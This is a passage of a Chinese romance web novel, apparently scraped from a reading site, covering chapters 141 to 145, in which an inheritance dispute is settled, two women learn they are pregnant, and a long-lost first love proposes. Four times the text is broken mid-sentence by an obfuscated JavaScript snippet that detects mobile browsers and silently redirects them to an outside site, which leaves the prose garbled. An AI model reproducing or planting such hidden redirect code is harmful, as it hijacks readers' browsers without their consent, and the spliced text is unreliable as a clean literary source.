叶棠粗淡地扫了这些人一眼,旋即就将视线收回,落到了老太太的面上,“老太太,你的这些亲戚是伥鬼吧?你就算拿到了你儿子的遗产,恐怕没几日,就被这些亲戚瓜分了,啧啧,真可怜。” 老太太把叶棠的话,听进去了。 扭头瞪向吆喝的人,“都给我闭嘴。” 现场又安静了下来。 叶棠将程应南已经算好的遗产和债务,都摊到了老太太的面前。 “目前,遗产和债务,基本扯平,当然了,你想要五分之四的遗产,就得拿五分之四的债务,你自己选吧。” “不可能。”老太太给拒绝了,“我是不可能替他还债的,他有老婆,让她还。” “看来,老太太是不讲理了。”叶棠一拍桌子,起了身,“既然不讲理,咱们就有不讲理的说道。” 叶棠将顾临抱着的骨灰盒上的红布一扯。 带着王梹遗照的骨灰盒,就这么赤裸裸地摆到了众人面前。 那几个呦喝得最厉害的亲戚,不由得后退了半步。 老太太看到,更是瞬间红了眼眶,“我的儿啊,你怎么就把老娘抛下就走了,我的儿啊……” 老太太哭着叫着,就去抱王梹的骨灰,被叶棠拦下。 “老太太,如果你坚持要王梹五分之四的遗产,不分担债务,那就让王梹出来说道说道,你这样做,他愿不愿。” 说着。 叶棠推开骨灰盒的盖子,从里面抓了一把骨灰。 冲着天,扬了出去。 灰白的骨灰,洋洋洒洒,像满天的雪花,从王家的那些亲戚的头上落了下来。 他们躲避不及,或多或少的,都沾了一层薄薄的灰。 个人脸上,满是晦气。 却又不敢直说,只能扑打着这些不干净的东西,嘟嘟囔囔地骂着。 王老太太心疼儿子看急了,“不要扬我儿的骨灰,你这个女人,好狠毒的心啊……” “老太太,你想清楚了吗?”叶棠将手上残留的骨灰,吹了吹,“你要是想不清楚,就让王梹跟你一起想清楚,好不好?” “不,不要,我不要了,我不要了……”王老太太受了刺激,哭得一把鼻涕一把泪,“……我只要我的儿子,我要我的儿子……” 第141章 不用离婚,直接变单身 “既然这样,那就请老太太,把这份合约签了吧。” 叶棠一个眼神。 程应南便把早已经起草好的合同,递到了老太太面前。 几个亲戚不同意。 想要阻止老太太,“二姑,你别傻啊,这要是真签了,就什么也没有了?” “我不签,你们帮着我的梹儿还债吗?我老了,我没有能力了,我已经失去了儿子,我不想晚年连个遮风避雨的地方都没有。” 几个亲戚哑然。 眼瞅着到嘴的鸭子,就这样硬生生地飞走了。 嘴里骂骂咧咧的,也没人再管王老太太,一个个人都走了。 叶棠将骨灰交还给了王老太太。 老太太抱着儿子的骨灰,哭得肝肠寸断。 着实可怜的紧。 她叹息了一口,将出发前,顾柔给她的银行卡,交给了老太太,“这是我姐让我给你的,足够你晚年的生活,老太太,你也看清了你的这些亲戚侄儿,他们就是冲着你的钱来的,并不是真心实意的帮你。” 老太太哭得更厉害了。 有心酸,也有失望。 更有一些不知道是什么的复杂情绪。 “老太太,刚刚我扬的不是王梹的骨灰,你把王梹的骨灰带回国,好好安葬吧。” 事情虽然办得很完美。 但是叶棠心里也不是滋味。 王梹虽然不够好。 白发人送黑发,却着实有一些令人唏嘘。 “咱们也走吧。” …… 往回走的路上,大家都放松了不少。 顾临更是洋洋得意。 “我们家棠棠出马,一个顶两,这么棘手的问题,她用了两个小时解决了,你就说她厉不厉害吧?” 顾临搂着叶棠的肩,在她的脸上亲了好几下。 叶棠无语地笑着,“好了,这都是大家共同努力的结果。” 程应南将合同都整理好。 对叶棠也是一片赞赏,“我们只是辅助,你是主角,你姐要知道这事,这么轻易的就解决了,那可真除了她的心病了。” 叶棠点头。 那倒是真的。 现在最棘手的事情都处理完了。 顾柔不仅可以继承王梹一大笔的遗产,还少了要离婚的烦恼,直接变单身。 她倒想听听程应南的想法。 “表哥,你对我姐,是什么想法?” 程应南先是看了顾临一眼,当着顾临的面前,有些话,他不好说,也不敢说。 “我和柔柔……” 叶棠:……没了? “表哥,你倒是说啊,这里又没有外人,你对我姐是什么想法?你们怎么打算的?我姐刚刚经历了这么的人生中的大事,她现在很需要关怀和安慰,你到底怎么想的嘛。” 程应南看起来,很是为难。 叶棠看不懂,他为难所谓,不知道怎么的,就突然生气了,“表哥,我说话直接,你别见怪啊,如果你是打我姐财产的主意,我劝你还是不要想了,只要我在,我是不可能让别的男人把她的钱,骗了去的,如果你没有跟她往下走的想法,我觉得,你也不要浪费她的时间和感情,别仗着是她的初恋,就伤害她。” “你误会了,我哪是贪恋她的钱,更没有跟她玩感情,我在想……她愿不愿,跟我在国外定居,我希望,她能跟我在国外生活,毕竟我的事业都在国外……” 程应南还想说些什么。 叶棠嘶了一口,打断了他,“……你可够自私的,我姐一直在国内生活,你让她跟着你去国外定居?她能吃习惯,还是能住习惯?人生地不熟的,受欺负了,谁为她出头,程应南,她刚刚经历了丈夫出轨,小三,私生子,丧夫,你就想让她跟你去国外,你脑子里在想什么呢?” 程应南:…… 他只是觉得自己的事业在国外。 他可以给顾柔更好的生活。 如果回国内,可能一切都得从头开始。 他不希望顾柔跟着他吃苦。 十年了,如果再让顾柔陪他从头开始,他自己这一关也过不了。 “我确实没有想到这些,抱歉,是我欠考虑了,我想,我需要和柔柔商量一下。” 叶棠闭了闭眼,勉强稳定住情绪,“你最好是跟姐姐好好商量,我觉得,如果我姐同意跟你出国定居,你也要考虑清楚,顾临就一个姐姐,婆婆公公也只有一个女儿,他们年纪越来越大了……” 程应南听进去。 “你说的都对,我只考虑了经济情况,这些方面欠周全,我会好好考虑的。” 程应南表了态。 叶棠也就没说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086440|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾柔是温室的花朵。 从小到大都是捧在掌中的明珠。 没人希望她日后会吃苦。 但,去或是留,别人说了都不算,得她自己来做决定。 …… 回到华城后。 顾柔处理了王梹留下来的一切。 还清债务后,还余下了不少的钱。 她让程应南给王梹的母亲又送去了一些钱,并亲自给她打了个电话。 “如果你有什么需要我的地方,可以找我。” 王梹的母亲在手机那头哽咽,“我以为,你会记恨我的。” “王梹虽然出轨养小三,但他也走了,没什么恨不恨的,你也要看开一些。” “知道了。” 挂断手机。 顾柔出门去了趟商场。 她给叶棠买了很多东西。 大到包包大衣,小到丝巾口红。 大包小包的,拎着去了她的工作室。 “叶棠,赶紧的,帮我拿一下。” 叶棠急忙快走两步,将顾柔手上的购物袋接了过去,“姐,你这是去大扫荡了?” “是啊,买了好多东西。” 顾柔揉着发酸的手腕,“我呀,看看这个也喜欢,看看那个也喜欢,许久没有这样的心情了,还不敞开怀地买。” 叶棠笑着,倒了杯咖啡递给她,“你能这样,我其实还挺高兴的。” “那你快瞧瞧,是不是都喜欢。”顾柔接过咖啡,脸上是愉悦的笑,“我觉得我的眼光还是不错的。” 叶棠错愕。 她不确定的,“姐,这些东西,都是送给我的?” “对啊,赶紧的,看看。” 叶棠每个袋子,都认真仔细地拆了。 什么也有。 像是把奢侈品专柜,搬来了,“姐,你何必这么破费呢,这得花多少钱啊。” “花点钱怎么了,你姐我有的是钱。”刚刚她的账户,还收到了之前从叶棠这儿周转的钱呢。 她再怎么能花钱。 只要不沾黄赌毒。 这辈子都花不完。 “我的这些破事,真的辛苦你了,叶棠,你真的是一个很好很好的女孩子……” 叶棠没等顾柔说完。 就捂着嘴,去洗手间里,吐了个天昏地暗。 顾柔:……我说话,这么恶心吗? 第142章 家里又没有皇位要继承 叶棠因为忙着顾柔的事,一直没顾上去医院检查。 孕反越来越重,晨起干呕,闻到油腥就反胃,整个人懒洋洋地提不起精神。 不用查,怀孕已是板上钉钉的事了。 让她意外的是,顾柔竟也捂着嘴冲进了洗手间。 听着里面传来相似的干呕声,叶棠心里咯噔一下…… 不会吧? 顾柔也怀孕了? 看到顾柔苍白着脸走出来,叶棠赶紧将她扶住,“姐,你怎么也吐了?该不会是……不会是也怀了吧?” 顾柔扶着洗手台边缘,指尖微微发凉。 她自己也说不清,这究竟是心理作用,还是身体真的有了变化。 不过例假的日子还没到。 估计是假孕的多。 “可能是吃什么东西,没吃对,胃里有一些不好受。” 叶棠:…… 这反胃可不是这么个呕法。 “姐,就算不是怀孕,这么个吐法,也不行,咱们去医院看看吧,要是没什么大问题,也就放心了。”叶棠生怕顾柔拒绝,又补了句,“我也想去医院查一下,我是不怀孕了。” 顾柔抬起头,眼神有些空的看向叶棠,最终点头同意了,“那行吧,那就一起去趟医院吧。” 叶棠立刻点头。 医院里消毒水的味道格外刺鼻。 挂号,尿检,抽血,最后连B超也做了。 结果出来得很快。 顾柔看着单子上那几个清晰的字,指尖轻轻拂过“宫内早孕”,一时有些恍惚。 不是胃病,是真的怀了。 叶棠站在一旁,心情复杂。 她不知道该说“恭喜”,还是该先问问顾柔的打算。 “姐,”她轻声开口,“你怎么想?” 顾柔将检查单慢慢折好,放进包的内层。 “其实……我是想过要个孩子的。”她声音很轻,像在对自己说,“可真的怀上了,反而有点……不知所措。” “是我表哥的吗?是怕我表哥不负责吗?” “倒也不是怕他不负责。”顾柔摇摇头,“他负不负责,对我来说……没那么要紧。没有男人,我也可以自己把孩子带大。” 她顿了顿,像是在整理思绪,“我就是……好像一直想做个妈妈,让人生圆满,可真的来了,又觉得自己什么都没准备好。怕自己不够好,怕给不了他最好的。” 叶棠静静听着。 当初她意外怀上宝宝时,何尝不是这样? 每天都像困在团雾中,不知道方向在哪里。 “姐,”她握住顾柔微凉的手,“你需要点时间,慢慢来。这事急不得,得你自己想清楚。” 顾柔点了点头:“嗯。叶棠,这事……先别告诉任何人。等我想明白了,我自己会说。” “好。” 两人在医院门口分开。 叶棠捏着自己那份检查单,站了一会儿,才走向了自己的车子。 坐进车里。 她反复地确认了,自己的检验单子。 单子上的结果和她预料的一样。 她没想到二胎来得这么快,想到又要经历十个月的辛苦,还有生产那道鬼门关,她不知道为何,有些抗拒。 拿掉吗? 当然不。 她的信仰不允许她这么做。 既然来了,就是缘分。 再苦再累,也只能迎上去。 她想先把消息告诉了顾临,再跟婆婆许明珠讲。 “喂,顾临,你在忙吗?”叶棠给顾临打了个电话。 他好像刚开完会,声音里有抹疲惫,“刚开完会,有事?” “是有点事,但我听你情绪不高啊,我不知道这事,该不该跟你讲。” 顾临轻声笑了笑,“开三个小时会,能情绪高,才见了鬼了,你说吧,无碍。” 叶棠垂眸,将视线落到检查单子上。 上面清晰地写着,孕三个月的检查结果。 “顾临,我好像……怀孕了。” “啊?”顾临惊的手机差点飞出去,“怀,怀孕了?真的假的?我这么厉害吗?你不是说,要等几年再要二胎的吗?怎么……” 叶棠闭了闭眼。 还不是因为他每次都猴急,说什么戴套没感觉,才掐着安全期胡来。 可是,她例假不准了。 不怀才怪呢。 “反正怀孕是事实,你要不想要的话,我可以拿掉。” “别,别,怀孕是好事啊,拿掉干什么。”顾临听出叶棠有一些情绪,忙提起精神来哄着,“我刚刚语无伦次了,我再努力一点赚奶粉钱,你先回妈家吧,我马上回去。” “哦。” 叶棠是想着要去跟婆婆说一声的。 去的路上,她特意给婆婆买了一套她经常用的护肤品。 许明珠是个不错的婆婆。 上次,她买了好多的金条给她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089641|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她自己存着,不要告诉顾临。 她挺感动的。 不像自己的亲妈,除了想榨干她,母爱寥寥无几。 “妈。” 叶棠拎着买的礼物,快步走进了客厅。 她脸上愉悦,步子也很快。 “妈,这是送你的。”叶棠很乖地将礼物递上。 许明珠没有客套,接过来,“难为你,还记得我用这款护肤品。” “当然了,我对妈的喜好,现在了如指掌。”叶棠夸张地握了把拳头。 许明珠笑了。 “怎么有时间过来啊?有事吧?”许明珠端起茶杯,递到唇边轻啜了一口,“你的事情,还是你姐的事情?说说吧。” “妈,我怀孕了,特意过来跟您说一声的,您眼睛可真毒,简直就是火眼金睛,三个月了。” 许明珠眼眸一亮,心中甚喜。 她放下手里的茶盏,接过叶棠递过来的检查单:“我这五十多年的经验可不是白给的,我就说你怀了,怀上了就好好休息,别累着。有什么想吃的、想要的,就发给我,妈给你买。” 叶棠欢快地答应。 但她确实没什么需要,“妈,我没什么需要的,倒是您和我爸,可得好好注意身体,你们身体好了,就是我们的福气。” 许明珠承认,自己又被叶棠给哄住了。 “你这孩子,嘴巴可真甜。” “妈。”叶棠抱着许明珠的胳膊,娇嗔嗔地问,“以您的经验,我这胎,怀的是男孩还是女孩啊?我怎么感觉,跟怀大宝时感觉差不多呢,会不会又是个小姑娘?” “男孩女孩都是上天决定的,我可看不出来。”许明珠怕叶棠有心理压力,轻轻地拍了拍她的手背,“不管是男孩还是女孩,都是你和顾临的爱情结晶,妈都喜欢,妈又不重男轻女,家里又没有皇位要继承的。” 叶棠感动得双眸泛红。 她这个婆婆,可真的是太好了。 “妈,就为你这话,我说什么也得给你生个孙子。”叶棠信誓旦旦地。 许明珠让她立马打住,“我可没有非要孙子的执念,咱们顾家啊,也不是非得男孩才能**,你家的孩子,又或你姐家的孩子,哪个有能力,哪个来接,公平竞争。” 叶棠对婆婆这番话,又是举双手赞同。 她越来越觉得这个婆婆,开明得不得了,“妈,我发现我越来越爱您了……” 第143章 算他自作多情 “只爱妈,不爱我了呗。” 顾临一步迈了进来。 他手是一捧火红的玫瑰花。 脸上的笑,怎么藏也藏不住。 他将花放下,抱起叶棠转了个圈,“我的女王,你又要当妈妈了,我也托你的福,再次当爸爸了,我好开心啊。” 许明珠生怕儿子伤着叶棠,忙喊他,“赶紧的放她下来,她怀孕了,要小心一点。” “妈,我是太开心了,不过以后,少不了你帮忙了。” 大宝还小。 叶棠一个人带两个,他怕她吃不消。 正好许明珠也有这个意思,“你和叶棠就先搬回来住吧,我可以帮着照顾大宝,她呢,也不用为了见不到大宝,而思念,你们觉得呢?” 以前叶棠很惧怕跟长辈们住在一起。 但现在,她有一些迫不及待的,要搬过来跟婆婆一起住,“谢谢妈,今天爱您又+1.” 叶棠冲婆婆比心。 顾临:……合着,这里面,没我多少事呗。 …… 顾柔回到家后。 开了瓶可乐,慢慢地喝着。 程应南已经忙完了王梹的事情,正计划着这几天要回国。 他是想着要跟顾柔,好好的谈一谈。 听听她的意见。 他在厨房里做着菜,围裙下面,是标准的家庭主夫的形象。 当年。 他和顾柔热恋的时候,他也像现在这样,每天做饭给她吃。 顾柔其实不挑食。 就是吃得极少,总是在减肥。 他怕她伤着胃,每次吃饭,都得费好大的功夫劝她,多吃一口,再多吃一口。 程应南莫名有些心酸。 那年时光,仿佛就在眼前,只是人已非少年。 晚餐是三菜一汤。 都是顾柔爱吃的。 她今天很安静,吃饭的时候,也没有话说。 像是知道了,近在眼前的离别。 “柔柔。”程应南停下筷子,专注地望向她,“我订了后天的飞机。” 顾柔哦了一声。 并没有什么反应。 程应南抿了抿唇,“我想在离开之前,跟你聊聊我们的事情。” “我们什么事情?”她抬眸,视线还未真正落到他的面上,就已然垂下,继续吃饭,“程应南,我们不过是身体的各取所需,你别心理负担太重。” “我想娶你。”他很认真地说,“柔柔,我想跟你结婚,你愿意吗?” 顾柔的手蓦地滞住。 片刻后,她放下了手中的碗筷,“程应南,你知道的,我不可能跟你去国外生活,我不习惯背井离乡,去一个陌生的地方,我已经过了那个,为了爱情什么都不怕的年纪,你懂吗?” 他沉默地看着她。 他懂。 他怎么会不懂。 到了一定的岁数,不想做出改变是常态。 他也一样。 “你不想跟我去国外生活?还是说你不想嫁给我?” 顾柔觉得这是两个完全相同的概念。 程应南的事业,已经在国外打下根基,她不会要求他,为了自己做出牺牲。 既然,谁都不想改变。 那最好的结果,就是一拍两散。 “有什么不一样吗?你肯放弃国外的事业,回华城吗?” 程应南刚要动唇回答。 顾柔先一步出声,“你不会的,你不会放弃你的事业,为了我留在国内,我们不是二十出头的年纪了,我们已经到了会权衡利弊的年纪,我们都自私了,爱情……” 她笑着摇头,“……说得直白一点,爱情在我们这个年纪,是个贬义词,要是为了爱情做出牺牲,那会被笑话的。” 程应南眉心蹙紧。 会被笑话。 那他等她这么多年,算什么? 算他自作多情? 算他闲得没事干? “你是这么看我们的关系的?” 顾柔抬眸,望进程应南的眸底,“没错,我们的关系本就是这样的,你有你的人生,我也有我的人生,我们两个都不会为了彼此来委屈自己,所以……祝你一路顺风吧。” 顾柔起身。 程应南抬手扣住了她的手腕,“顾柔,你就没有想过,因为我爱你,所以,我愿意妥协呢?” “我不希望你为了我妥协。”顾柔回眸过来,看向他,“程应南,你要留在华城,只会是因为你自己想留下,别说为了我,我不需要你为了我,明白吗?” 顾柔的情绪,很不对头。 程应南注意到她的指尖在抖。 是因为被他气得,还是…… 起身,将她揽进怀里,轻轻地抱住她,“好了好了,咱们先不聊这件事情了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090617|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你今天……去哪儿了,是不是心情不好?” “我没有心情不好。”顾柔将程应南推开,转身去了客厅。 她抱着膝盖,窝在沙发里,像只悲伤的小猫。 程应南无奈且心疼地望着她纤瘦的身影,心里有一种说不出来的滋味。 顾柔的条件很好。 就算是跟王梹有过一段十年的婚姻。 以她的条件,找一个比王梹条件好的男人,根本不难。 如果是在国内的话,他给不了她太优渥的生活。 可如果,他这次选择离开,坚定地选择事业。 他恐怕是真的要失去她了。 程应南深吸了一口气,稳步走过去,将她从身后抱住,“柔柔,改天,我们去做个婚前财产公证行吗?” 顾柔错愕。 她看向程应南的眼睛里,闪烁质疑和困惑,“什么婚前财产公证?程应南,我没有说过,我要嫁给你。你也不必如此的处心积虑,我不会要你一分钱的。” 男人说到底都是一样的。 到了动真格的时候,首先想到的都是将自己的财产保全。 初恋怎样? 十年婚姻中的丈夫又怎样? 还不都是一丘之貉。 “我的意思是……”程应南想解释一下。 顾柔根本不想听,“够了。” 她推开他,从沙发上起身,“我累了。” 顾柔回了卧室。 程应南眼前只有她的残影,和摔门的声音。 他去阳台抽了根烟。 待烟味散去后,他给自己的助手打了个电话,“准备一份婚前财产协议,男方部分改成,无论婚前婚后女方都有支配权。” “好的程律。” 男人说得再好听,也没有实际行动来的,令人信服。 他决定了,留在华城,给顾柔一个家,也给自己一个家。 他不想再失去她了。 他无法承受那样的结果,“还有,就是在华城找个合适的办公地点,我准备将国外的业务,全部转到国内,要快。” “明白。” 挂断手机。 程应南出了门。 顾柔听到关门的声音,心也跟着沉了下去。 女人千万不要把感情,寄托在一个男人身上,副作用太大了。 她已经傻了一次了,不会再傻第二次。 第144章 混来混去,混了个热闹 几天过去,程应南那边杳无音讯。 顾柔想,他大概是回去了。 心里说不上是释然还是失落。 或许,她本就没敢在他身上寄予太多期望。 也好,桥归桥,路归路。 她现在最重要的是,把自己心情搞好。 把胎养好。 其他的,交给时间吧。 她收拾了一下,回了趟娘家。 一个人慵懒地蜷在三层阳光房的躺椅上。 一睡就是半天。 阳光透过玻璃顶棚洒下来,暖融融的,将她整个人包裹住。 许久都没有这么舒服了。 她在梦里浮浮沉沉。 有关于王梹的,也有关于程应南的。 更多的是自己的青春。 不知过了多久。 许明珠端着一盘切好的水果走进来,放在旁边的小几上,目光在她脸上逡巡。 “你也不是个贪睡的人,这都躺了大半天了,还困?” 顾柔闻声,缓缓睁开眼,适应了一下光线,才撑着身子坐起来。 她伸手接过母亲递来的果盘。 “可能是前段时间绷得太紧,现在一松下来,乏劲就全涌上来了,总也歇不够似的。” 她用叉子轻轻拨弄着盘子里的蜜瓜块。 “妈,这蜜瓜太甜了,我想吃点酸的。” 许明珠在她旁边的藤椅坐下,静静看了她一会儿,直接问:“是累了,还是……有了?” 顾柔叉水果的手微微一顿。 果然什么都瞒不过母亲的眼睛。 她没抬头,只是轻轻“嗯”了一声。 “谁的?”许明珠的声音很平稳,听不出情绪,“那个程应南的?” 顾柔点头。 “那他怎么说?” “我没告诉他。”顾柔叉目光变得怔忡,望向玻璃窗外晴朗无云的天空,“他现在……应该已经回去了。” “他都不知道你怀孕这事,你就打算自己把这孩子生下来?” 许明珠不是责备。 只是觉得,既然怀都怀了,程应南怎么着,也得知道。 顾柔垂下头,浓密的睫毛浅浅垂下,像个做错事的孩子。 许明珠看着她这副模样,也只是无声的轻叹了一口。。 别的且不说,单在生孩子这件事上,许明珠知道自己这个女儿向来极有主见。 和王梹十年婚姻,都没能让她下定决心要个孩子。 如今和程应南重逢不过数月,便有了身孕。 答案其实再明白不过,她想生个孩子,一个属于她和程应南的孩子。 许明珠轻轻叹了口气,语气缓和:“你和程应南是初恋,当年……他妈妈私下找过我几次。 话说得很诚恳,说他们家条件一般,怕委屈了你,给不了你太好的生活,她心里觉得对不住。 但我看那孩子,人是真踏实,对你也是真心的。 这十年,他也没另娶。 这次回去……是彻底放下了?” 顾柔想,大抵是吧。 三十多岁的男人,到了这个年纪,太清楚什么才是立身之本。 事业前程,远比一段已经变了味的旧情,更值得牢牢抓住。 “妈,他有他的路要走,我不想当那块绊脚石。”顾柔一般不轻易做决定,一旦内心坚定了想法,就轻易不会改变,“我现在怎么说,也算个小富婆吧。生计不是问题,这孩子……我想留下,往后的日子,也算有个可以陪伴我左右的人。” 许明珠伸手,温柔地抚了抚女儿柔顺的发顶,心里漫上细细密密的疼。 许明珠摸了摸女儿的头顶,很是心疼。 孩子大了,做父母能做的,就是为她托底,至于她做什么决定,她们无权过多阻碍。 “你想清楚了,就行。”许明珠握住女儿微凉的手,“搬回来住吧。正好叶棠也怀了二胎,你们都回来,妈一起照顾着,心里也踏实。” “妈……” 顾柔喉头一哽,倾身过去,将脸埋在母亲温暖熟悉的肩窝里,眼眶潮湿。 许明珠没再说话,只是轻轻拍着她的背,像小时候哄她那样。 阳光静静地铺满一室,将相拥的母女俩镀上一层柔和的暖金色。 …… 自从叶棠和顾临搬回来顾家后。 顾家热闹多了。 再加上顾柔也在,天天吃饭都是一大桌子人。 顾长青时常发一些感慨。 “都说这孩子长大了,就任由他飞走,父母最好的爱,就是放手……”他叹息着摇头,“……根本就不是嘛,这孩子陪在身边才是福气嘛,你看看我们现在,有儿有女,有媳妇,也有孙女,我们这一大家子人,真的不要太幸福哦。” 顾长青这个人,偏感性。 说不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091093|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几句,别人还没什么感觉的,他倒是眼眶先红了。 许明珠怕儿女们笑话,将他拉到客厅说话,“行了啊,以前也没有见你这么想儿女陪在身边过,怎么?老了,情感脆弱了?” “你自己说说嘛,这儿儿女女的一堆,是不是幸福感爆棚?” 许明珠现在是有的忙了。 连理佛都没了时间。 但就是快乐了。 累并快乐着。 人是群居动物没错的,尤其是现在小孙女也在身边陪着。 这小丫头,咿咿呀呀的,她爱得要死。 “长青,你说人这一辈子,好像混来混去的,就是混了个热闹,是吧?” 顾长青后腰一挺,“那是,现在顾临的家庭幸福美满,就是女儿她……” 一提到顾柔。 做父母总是满眼的心疼。 他这个女儿啊,从小到大,都没有受过一丁点的委屈。 怎么会半路上,出了这事。 “……明珠啊,这女儿的事情,我也不好多问,她钱够不够用啊,她没吃过苦,你时常给她打点钱,让她生活得自在一些。” 许明珠点头,“这个我知道,但是你女儿现在,比我们都有钱,王梹遗产抛去还去债务的部分,几百个亿是有的,她委屈不着。” 顾长青不想对死去的人,过多的评判。 但王梹做的事情,确实是够下十八层地狱的。 “不提这个**了。” 二老刚要坐下,喝点茶。 有下人小跑过来,“先生,夫人,有一位姓程的先生和他的母亲,要说见二老。” 许明珠和顾长青相视一看。 姓程? “叫程什么?”许明珠问。 下人连忙说,“叫程应南。” 程应南来了? 许明珠往餐厅里看了一眼。 小辈们还在吃饭,聊天,便对下人说,“让他们进来吧。” “好的,夫人。” 没几分钟。 程应南便跟在下人的身后,走了进来。 他手上是大包小包的礼品。 包装精美,看起来价值不菲。 “顾叔,阿姨。”程应南将手上的礼物,递放到了茶几上,“不好意思,也没提前跟您二老打个招呼,就这么来了,非常抱歉。” 许明珠淡淡地扫了他一眼。 “有事啊,应南?” 第145章 你还没有想好 “阿姨,顾叔,”程应南的声音恳切。 他将身旁衣着朴素、神情有些拘谨的母亲,轻轻往前带了半步,“我今天特意带我妈过来,是想……正式跟您二位商量一下,我和顾柔的婚事。” 程母有些无措,脸上挂着谦和又不安的笑容。 她眼神里充满了真诚,却也掩不住局促。 许明珠的目光越过程应南,直接落在她母亲身上。 还没说话,心就先软了三分。 十年前,为了两个孩子的事,程母曾数次鼓足勇气登门拜访。 这十年间,程应南在国外工作,程母在商场找了份保洁员的工作。 就为了不给儿子添麻烦。 偶尔。 许明珠去购物的时候,也能跟她见上那么几面。 许明珠没有豪门主母的架子,程母的朴实本分也让她欣赏,久而久之,两人之间倒有了一份平淡如水的交情。 她立刻起身,绕过茶几,上前轻轻拉住程母的手,语气带着熟稔地嗔怪:“哎呀,你怎么也跟着这孩子胡闹,还亲自跑一趟?把事情弄得这么‘隆重’,是不是觉得有你在,我们老两口一句重话都不敢说了?” 程母被许明珠拉着坐下,手还被温**握着,紧张感明显减轻了不少:“明珠,你别怪孩子,应南他……这次铁了心,他说以前错过了柔柔,这糊涂不能再犯第二次了,为了表个决心……” 程母将儿子给的工资卡,拿了出来,“他……他连工资卡都带上了,让我说什么也要给柔柔,他说,他有一些积蓄,但是不多,回国后,他会努力工作,绝对不会让柔柔跟着他吃苦。” 她急急地往许明珠手里塞“这个,这个你拿着,一会儿交给柔柔,这是我们家应南的一片心意……” 许明珠哪里会接,轻轻挡了回去,“我一个长辈,能要应南的钱吗?孩子们的事,说到底得他们自己愿意,自己商量着来。咱们老的,在旁边看着,必要的时候搭把手就是了,可不能替他们做主。 ”她笑着站起身,顺势将程母也拉起来,“年轻人的事情,交给他们自己解决,走,跟我去暖房看看我新养的那几盆兰花,今年开得可好了,你帮我品鉴品鉴。” 许明珠亲**挽着程母的胳膊,将她带离了客厅。 一直坐在沙发上沉吟未语的顾长青,这时才清了清嗓子,“顾柔,应南来了,你出来一下。” 顾柔拿筷子的手,微微一顿。 她是不是听错了? 不解的又茫然的,抬眸看向对面的顾临和叶棠问,“你们刚才听到爸叫我了吗?” 两小只点头。 她便又问,“爸说程应南来了?” “没错。”顾临点头,催促她先别吃了,“姐,这程应南是不是没出国啊?你赶紧的,先去看看什么情况。” 事发突然。 顾柔一时有点乱。 她放下筷子,抽了纸巾,还是慢条斯理地擦了擦唇。 这才起身,走到了客厅。 顾临正准备继续用餐,被叶棠从指尖抽走了筷子。 “吃什么吃呀,赶紧的,咱们也去瞧瞧。” 叶棠牵着顾临的手,跟着顾柔,走到了客厅。 是程应南没错。 他穿得相当正式。 笔挺的西装,一丝不苟的头发,还有拘谨又礼貌的笑容。 “柔柔。” “你怎么来了?”顾柔问,声音浅淡。 “求婚。”他说着,从怀里掏出一枚镶着方糖钻的戒指,“抱歉,最近几天,忙着国外律所交接的事情,没顾得上跟你见面,但我一直在准备求婚,今天就当着你父母的面,我妈的面,顾临和叶棠的面,我想问你,顾柔,你愿意嫁给我吗?” 顾柔觉得这太突然了。 她根本没有做好准备。 她不安。 甚至有一些逃避的,往后退了半步,被叶棠将腰扶住。 “姐,你先听听他能不能打动你,再说。” 程应南眼神真挚到,无可挑剔。 他是有一些激动的。 指尖不停地在颤。 “柔柔,我们认识十五年了,我爱了你十五年了,我错过了你十年,这十年,我每天睁开眼,想的第一件事情,就是去赚钱,我想着,如果哪天,你和王梹离婚了,你需要我了,你可以忘掉以前的误会,我们就会重新开始。” “是的,我在国外很努力的工作,我真的赚了很多很多的钱,我每天都等着你离婚的消息,老天大概是看我太可怜了,你真的跟王梹要离了,我觉得我的机会又来了。” “你知道,那天 